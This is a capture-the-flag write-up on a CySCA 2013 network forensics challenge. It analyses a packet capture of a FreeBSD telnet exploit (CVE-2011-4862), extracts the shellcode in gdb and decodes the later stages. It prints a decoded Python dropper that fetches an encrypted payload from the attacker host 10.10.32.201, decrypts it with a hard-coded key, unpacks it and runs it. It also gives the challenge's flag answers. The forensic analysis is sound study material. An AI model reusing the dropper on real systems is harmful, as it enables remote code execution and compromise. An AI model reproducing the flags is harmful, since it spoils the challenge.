This blogpost contains the writeup for the network forensic challenge in the Cyber Security Challenge Australia 2013 capture the flag event.
Question 5.1 – 1 point
a) What is the CVE of the vulnerability used to exploit the mail server?
b) What was the operating system that was targeted?
Example answer format: [CVE-1234-1234] [msdos]
This was a really easy question to answer, using Wireshark I opened the .pcap file and in Frame 17 I found that the target operating system to be FreeBSD i386. And to find the exploit being used in the attack I looked at the entire .pcap file and was able to determine it was a telnet attack, I then searched the exploit-db database to find that there was only one exploit which matched the attack which was the cve-2011-4862 exploit.
Question 5.2 – 4 points
The first payload contains shellcode that invokes system calls i.e. “int80”. The first system call is “socket”. What are the next two system calls (remember the target OS)?
Example answer format: [syscall1] [syscall2]
Since I was able to determine the exploit being used in this attack, CVE-2011-4862 (FreeBSD Telnet Service Encryption Key ID Buffer Overflow), I had a look at how the exploit worked. While looking at the code for the exploit I was able to determine that the payload was sent to the target machine as part of the “key_id” in the encryption for the telnet session. Knowing this I began looking through the network dump using Wireshark to find that frame 23 contained the first payload, this was because the line “
key_id = Rex::Text.rand_text_alphanumeric(
)” in the exploit shows the entire payload sent to the target machine would be 400 bytes in size and when I click on the “key_id” in frame 23 I can see the size to be 400 bytes in size.
The part was locating the actual payload within these 400 bytes, again looking at the actual exploitation code I saw on the lines 89 & 90 the following:
# The actual payload
, penc.length] = penc
Which meant that in the 400 bytes sent to the target machine the actual payload started at the 192th byte out of the 400 bytes. I select the 400 bytes and exported the bytes as hex stream, once exported I began modifying the bytes until I was able to determine the 192th byte which corresponds to the starting point of the payload, the following hex bytes are what I found to be the payload bytes I was looking for:
Once I had the bytes that make the payload I can begin to work out the system calls that the shellcode invokes, to do this I decided that the way I would do this is compile the shellcode into a binary file and then use a debugger to identify the system calls made by the binary as it executes. To do this method I need to do the following:
- I need to compile and execute the shellcode binary in a FreeBSD environment to be able to catch the correct system calls, I created a FreeBSD virtual machine for this.
I also configured the virtual machine as best as I could to match the FreeBSD target machine in the attack – eg same IP address.
I compiled the binary using gcc and the command “gcc -g shellcode-compiler.c -o CySCA13-networktraffic-1stpayload” once the shellcode had been compiled into a binary I used gdb to debug the binary as it is executed. Before continuing I did some research on how Unix specifically FreeBSD makes system calls and found the following information. Unix don’t use software interrupts other then int80 but instead use a 4byte value that maps to a kernel function which is stored in the EAX register. This breaks down to int80 interrupts the software execution and contains a value stored within the EAX register which maps to a syscall.
With the knowledge about how to identify the syscalls in a FreeBSd environment I began to dissect the binary file using gdb, I used the command gdb CySCA13-networktraffic-1stpayload”, I prepare my work environment with the following:
- break 6
- display /ni $pc
- layout asm
- layout reg
After the preparation I ran the binary and stepped through the execution one line at a time using si, until I came to a loop in the assembly.
The loop deobfuscates the shellcode, once the shellcode had been deobfuscate I was able to identify a int80 instruction at the memory address of 0x80495c3 in my work environment. When I viewed the memory space I saw that the EAX register contained a value of 97, I looked up the value in the FreeBSD syscall table and learnt this value represented AUE_socket, I had now identified the first syscall made by the shellcode.
This is all well and good but the question actually asked for which two syscalls were made after socket, using the pagedown I was able to identify that the next two int80’s were at the memory locations of 0x80495d5 & 0x80495dd respectively.
I worked my way through the shellcode to reach the second int80 which contained 98 in the EAX register which when looked up in the syscall table is AUE_connect.
Again moved down to the third syscall which revealed the value 3 which represents the syscall AUE_null to corresponds to a read().
And with this found the answer to question 5.2 is the following [connect][read].
Question 5.3 – 8 points
De-obfuscatethe second payload to reveal the triple DES key. The key is the flag.
If you look at the exploit code for this attack, CVE-2011-4862 (FreeBSD Telnet Service Encryption Key ID Buffer Overflow), you can see that the payload is sent twice to the target machine which meant the payload within frame 26 is not the second payload, also if you look at the two hex streams they are identical, looking through the network trace I saw that frame 33 contained the second payload.
I select the 811 bytes and exported the bytes as hex stream, once exported I began modifying the bytes ready to compile into a code to be compiled, the following hex bytes is the payload ready:
I modified the previous .c file and replaced the existing payload with the new payload from above, compiled the code and started debugging the binary using gdb. Early on in the debug I came across a xor loop function which deobfuscates the entire payload.
It took many “si”s to get to the end of the loop, 800 to be exact, a loop process for every byte in the payload. After the loop was completed I saw the following information: “0x8049889 <shellcode+809> int $0x80”
The int80 contained the value 59 in the EAX register, which is AUE_execve. In research the I found that the execve syscall stores a file to be executed in the EBX register.
Using the command “x/s $ebx” in gdb I was able to have a look at the value stored in the register at the time of the int80 event, I found the value to be /bin/sh. Along with storing a file to be executed in the EBX register the execve syscall also stores arguements for the executable file in the ecx register+8. I viewed the contents of the ecx register using the following command “x/s *($ecx+8)” to find the following information in the reigster:
(gdb) x/s *($ecx+8)
0x8049591 <shellcode+49>: “/usr/local/bin/python -c \”exec(‘aW1wb3J0IHNvY2tldDsgaW1wb3J0IHN1YnByb2Nlc3M7IHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX0RHUkFNKTsgcy5zZW5kdG8oIlx4MTBceDMyXHgwMVx4MDBceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDZceDY3XHg2Zlx4NmZceDY3XHg2Y1x4NjVceDAzXHg2M1x4NmZceDZkXHgwMFx4MDBceDBhXHgwMFx4MDEiLCgiMTAuMTAuMzIuMjAxIiw1MykpOyBkMSA9IHMucmVjdig4MTkyKTsgcy5jbG9zZSgpOyBwMSA9IHN1YnByb2Nlc3MuUG9wZW4oWyJvcGVuc3NsIiwiZGVzMyIsIi1kIiwiLWsiLCJQaWdTaG9ydE5lYXJlck1lYW41MCJdLHN0ZGluPXN1YnByb2Nlc3MuUElQRSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFKTsgZDIgPSBwMS5jb21tdW5pY2F0ZShkMVsweDI4OjB4MTk0OF0pWzBdOyBwMiA9IHN1YnByb2Nlc3MuUG9wZW4oWyJ0YXIiLCJ6eHZmIiwiLSJdLHN0ZGluPXN1YnByb2Nlc3MuUElQRSk7IHAyLmNvbW11bmljYXRlKGQyKTs=’.decode(‘base64’));\” && ./spamassassin
Using the below python code to decode the base64 string above passed to the exec command:
import base64 coded_string = '(base64 string)' base64.b64decode(coded_string) The output from the python code decoding the base64 string was the following: import socket; import subprocess; s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM); s.sendto("\x10\x32\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00\x00\x0a\x00\x01",("10.10.32.201",53)); d1 = s.recv(8192); s.close(); p1 = subprocess.Popen(["openssl","des3","-d","-k","PigShortNearerMean50"],stdin=subprocess.PIPE,stdout=subprocess.PIPE); d2 = p1.communicate(d1[0x28:0x1948]); p2 = subprocess.Popen(["tar","zxvf","-"],stdin=subprocess.PIPE); p2.communicate(d2);
In the above information I found that the triple DES key to be “PigShortNearerMean50”.
key = PigShortNearerMean50
Question 5.4 – 5 points
Once the third payload is decrypted with the above key, it drops out a binary. De-obfuscate the key hidden in the binary. The key is the flag.
To answer this question I need to determine the frame in the network trace file that contains the third payload. The question above helps with identifying the third payload, in frame 33 we found the above information in which the target machine is told to connect back to the attacking machine on port 53 which is seen in frame 34, and then in the Wireshark the attacker sends information to the target machine from frame 35 to frame 38 and it reassembled in frame 39, this makes the frame 39 the frame containing the third payload, also as the second payload showed a DNS query sent from the victim machine and frame 39 is the only DNS response we can also safely determine this is the payload wanted.
The information found in the above question gives some direction into how to deal with answering this question, such as the above python script only cares about the information in between 0x0028 and 0x1948 – as shown in this line (d2 = p1.communicate(d1[0x28:0x1948]);). When that byte range is selected it matches the bytes contained in the data field of the DNS answer, this is where the third payload is. Another important bit of information that can be taken from the above question is that the python code was encoded in base64 which is commonly when there is a need to encode binary data while being transferred over media. With this bit of information I realized I did not need compile the payload, but instead I could just export the select bytes as a raw data file.
Once the byte had been exported from Wireshark and were transferred over to the FreeBSD virtual machine, I took the approach used in the script to decrypt the payload to try and get access to the binary file contained instead. Using the commands “openssl des3 -d -k PigShortNearerMean50 < (payload) tar zxvf -” to do the said task.
The decryption process was successful and the spamassassin dropped out of the payload. The first part of examining this binary file, as we did not compile it is to see if we can read anything for the executable and linkable format header (ELF header).
From the above screenshot an interesting information was found out:
- “78: 0804a320 17 OBJECT GLOBAL DEFAULT 14 KEY”
- “97: 080487f0 220 FUNC GLOBAL DEFAULT 11 rc4_crypt”
I determined this is probably the key I am looking for, using gdb to debug the binary file I set a breakpoint on the main function and began examining the binary. I first had a look at the information stored in the memory location where the key was suppose to be and was revealed be encoded in some form, this is because of the xor loop found in the main function, which loops 15 times.
(gdb) x/4x 0x0804a320
0x804a320 <KEY>: 0x8b8d96bd 0x869e9b97 0x9e8d9eb8 0xcbcc9a98
0x8048cfb <main+27> movb $0xff,0xffffffe7(%ebp) # loads the value \xFF into the ebp register, \xFF is the value used in the xor loop.
0x8048d08 <main+40> mov 0xffffffe0(%ebp),%edx
0x8048d0b <main+43> mov 0xffffffe0(%ebp),%eax
0x8048d0e <main+46> movzbl 0x804a320(%eax),%eax # takes obfuscated key byte and moves to %al.
0x8048d15 <main+53> xor 0xffffffe7(%ebp),%al # Xor’s the value in %al with \xFF which is stored in ebp.
0x8048d18 <main+56> mov %al,0x804a320(%edx) # Stores deobfuscated value in %edx register.
0x8048d1e <main+62> addl $0x1,0xffffffe0(%ebp) # Moves to the next byte.
0x8048d22 <main+66> cmpl $0xf,0xffffffe0(%ebp) # Checks if all bytes have been deobfuscated.
0x8048d26 <main+70> jle 0x8048d08 <main+40> # Loops if there are bytes left to unobfuscate.
After the loop was completed I looked at the memory location again containing the key to see the following:
(gdb) x/4x 0x0804a320
0x804a320 <KEY>: 0x74726942 0x79616468 0x61726147 0x34336567
Looking the values in an ASCII table I was able to learn the key, which was 0xtriB 0xyadh 0xaraG 0x43eg. This meant the key inside the spamassassin binary was BirthdayGarage43. The reason why the hex bytes were reversed was due to the fact that the key was stored in the stack and therefor it is “first in last out”.
key = BirthdayGarage43
Question 5.5 – 3 points
Decode the communication and retrieve the flag.
To answer the final question I had to determine the communicate to decode to be able to retrieve the flag, to do this I opened up the .pcap file in Wireshark and saw that were only 4 TCP streams and 1 UDP stream, since I knew the UDP stream was not what I was looking I looked at the TCP streams and determined that TCP stream 4 was the one containing the communicate I needed to decode.
Using the following python script to decode and then decrypt the communication to reveal the key.
from Crypto.Cipher import ARC4
text = “””SqA=
for line in text.split(‘\n’):
cipher = ARC4.new(‘BirthdayGarage34’)
When the python script was executed it gave the following output:
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
Whoa, nice work solving this one!
key = DawnBusinessRespectNational65